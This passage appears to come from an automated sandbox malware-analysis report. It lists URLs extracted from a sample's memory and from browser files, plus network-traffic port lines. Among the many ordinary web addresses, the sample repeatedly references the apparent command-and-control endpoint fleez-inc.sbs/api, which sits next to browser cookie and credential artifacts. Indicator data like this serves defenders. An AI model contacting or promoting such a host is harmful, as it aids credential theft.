Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/-
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/Z
Source: 3cb3eea49a.exe, 0000001C.00000003.3451221963.0000000005650000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451047913.0000000005650000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3445606581.0000000005645000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005657000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3467459303.0000000005657000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3466176715.0000000005653000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3467005854.0000000005656000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446106822.000000000564A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3426971149.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3404914672.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/api
Source: 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005657000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apiR9pg
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apiata%
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apie
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs/apim
Source: 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleez-inc.sbs:443/api
Source: chromecache_473.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_473.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_473.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_473.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: 3cb3eea49a.exe, 0000001C.00000003.3450943467.0000000005668000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451221963.000000000564A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451047913.000000000564A000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: 3cb3eea49a.exe, 0000001C.00000003.3450943467.0000000005668000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451221963.000000000564A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3451047913.000000000564A000.00000004.00000800.00020000.00000000.sdmp, Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375901262793525.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_473.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_475.5.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_475.5.dr	String found in binary or memory: https://plus.googleapis.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3cb3eea49a.exe, 0000001C.00000003.3468760465.000000000576C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_475.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2497146778.000000002334E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418528741.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446846427.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3447228496.0000000005692000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3428018538.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427751709.000000000568C000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000568A000.00000004.00000800.00020000.00000000.sdmp, JKECFCFB.0.dr, Web Data.9.dr, DHDAFBFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: a274c827-5989-43fa-a7e0-b5e1eeb35f6d.tmp.10.dr, 1340dcc6-a033-4d5e-9fcf-c9929acadfb6.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_475.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_475.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_473.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_473.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_473.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: 3cb3eea49a.exe, 0000001C.00000003.3468594329.000000000568F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 3cb3eea49a.exe, 0000001C.00000003.3468594329.000000000568F000.00000004.00000800.00020000.00000000.sdmp, GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2721838299.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2721838299.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2721838299.0000000000304000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: GDHIEHJEBAAFIDHJEBGIEBFIJK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3484070630.0000000005640000.00000004.00000800.00020000.00000000.sdmp, AECAECFCAAEBFHIEHDGH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
